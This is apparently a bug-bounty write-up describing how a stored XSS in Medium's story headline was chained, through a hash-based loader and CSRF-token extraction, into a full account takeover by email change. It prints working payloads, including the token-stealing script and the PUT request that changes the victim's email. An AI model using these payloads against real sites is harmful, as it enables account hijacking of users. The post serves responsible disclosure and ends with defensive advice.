Two days ago, I found a simple, limited XSS, which I developed into a one-click complete account takeover.

How did it start?

I was searching Google for XSS vectors and found a link to Medium’s page with XSS vectors. When I opened the link, I got XSSed, which made me curious to inspect the page further. I discovered that the headline was not being filtered. I registered an account and created a new story with the headline:

1
"><script>alert(1337)</script>

medium-xss

And I got:

medium-xss

As shown, I was granted XSS. I brought an XSS file from outside because the headline had a limited length. For my first attempt, I tried to bring an XSS file from another server, like https://xxe-me.esy.es/xss.js. Here’s how I did it: Here’s how I did it:

medium-xss

When I tried to open the page, nothing happened because there was a CSP.

What is CSP? 

CSP stands for Content Security Policy. 

It is a W3C specification offering the possibility to instruct the client browser from which locations and/or types of resources are allowed to be loaded. To define a loading behavior, the CSP specification uses “directives” where a directive defines a loading behavior for a target resource type. By (OWASP)

Medium’s CSP is: 

1
2
3
4
5
6
7
8
9
10
11
content-security-policy: default-src 'self'; connect-src https://localhost https://*.instapaper.com 
https://*.stripe.com https://getpocket.com https://medium.com:443 https://*.medium.com:443
 https://*.medium.com https://medium.com https://*.medium.com https://*.algolia.net https://cdn-static-1.medium.com 
 https://dnqgz544uhbo8.cloudfront.net 'self'; font-src data: 
 https://*.amazonaws.com https://*.medium.com https://*.gstatic.com https://dnqgz544uhbo8.cloudfront.net https://use.typekit.net 
 https://cdn-static-1.medium.com 'self'; frame-src chrome-null: 
 https: webviewprogressproxy: medium: 'self'; img-src blob: data: https: 'self'; media-src https://*.cdn.vine.co 
 https://d1fcbxp97j4nb2.cloudfront.net https://d262ilb51hltx0.cloudfront.net
 https://medium2.global.ssl.fastly.net https://*.medium.com https://gomiro.medium.com https://miro.medium.com https://pbs.twimg.com 
'self'; object-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' 
about: https: 'self'; style-src 'unsafe-inline' data: https: 'self'; report-uri https://csp.medium.com

If you see the CSP, the script-src uses unsafe-inline without a nonce, which is why the page doesn’t prevent the XSS in the original page. It’s a common mistake, as Michele Spagnuolo and Lukas Weichselbaum mentioned at the HITB conference. medium-xss

Though I found this, I didn’t stop there. I was thinking of creating a good PoC for stealing the CSRF token and making a request since the email change doesn’t require password confirmation. But wait, I couldn’t write a full script in the headline because the headline’s length is relatively short, and the single and double quotes were changed to Unicode. Nothing worked, so I went to sleep.

The next day, I checked Facebook and chatted with some friends about my problem. They gave me advices, but I needed something else. Then I got the idea to change the stored XSS to DOM XSS, and it was a great idea, though I wasn’t sure about it.

medium-xss

The token was on the same page; it’s called xsrfToken. Now time for some JavaScript :) For the headline name, I used:

1
"><script>document.write(decodeURIComponent(window.location.hash));</script>

The document.write writes the new PoC on the page, decodeURIComponent decodes the URL, and all of the new PoC will be in the window.location.hash.

medium-xss

I wrote this simple token finder and tested it locally.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
 <script> 
function myFunction() { 
var str = document.body.innerHTML; 
var n = str.lastIndexOf('xsrfToken'); 
var result = str.substring(n + 12); 
if(result.length > 16){ result = result.substring(0,16); 
alert('Your token is ' + result);
}
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'> 
</body>
</html>

I used this to check the page for xsrfToken and show it locally in an alert box. Then I used it on the Medium website, and the img tag triggered the XSS.

PoC : https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca# <script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken'); var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">

medium-xss

Works good! But after getting the token, I couldn’t send the request! The change request is sent through the PUT method, and SOP prevents sending the request from another origin. I needed to make the request from the current page, so I wrote the full PoC that sends a request to https://medium.com/me/email with JSON data to abdullah@gmail.com.

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script> function myFunction() {
 var str = document.body.innerHTML;
 var n = str.lastIndexOf('xsrfToken');
 var result = str.substring(n   12);
 if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' +  result) };
 var xhr = new XMLHttpRequest();
 xhr.open('PUT', 'https://medium.com/me/email');
 xhr.setRequestHeader('Content-Type', 'application/json');
 xhr.setRequestHeader('X-XSRF-Token', result);
 xhr.onload = function() {
  if (xhr.status === 200) {
  alert('ok');
 } } ;
 xhr.send(JSON.stringify({"email":"abdullah@gmail.com"}));
} </script>
<img onerror="myFunction();" src=x>


And the PUT request worked, and the email was changed successfully!

medium-xss

I sent the full PoC and got a reply on the same day. Two days later, they contacted me and rewarded me with $100. I was disappointed, but I got a Medium t-shirt. Updated: I got Medium’s t-shirt :D

medium-xss See the PoC video:


Conclusion

  • Use a nonce in your CSP.
  • Implement password confirmation for the email change mechanism.
  • Ensure new features are secure.

That’s all. Thanks for reading. If you like this, you can follow me on Twitter at @Abdulahhusam.

AVideo < 8.9 Privilege Escalation and File Inclusion that led to RCE

In this article, we will cover security issues in the **AVideo** open-source project that led to RCE. We contacted the project manager, a...… Continue reading

Careem AWS S3 Bucket Takeover

Published on June 01, 2020

Moodle DOM Stored XSS to RCE

Published on May 25, 2020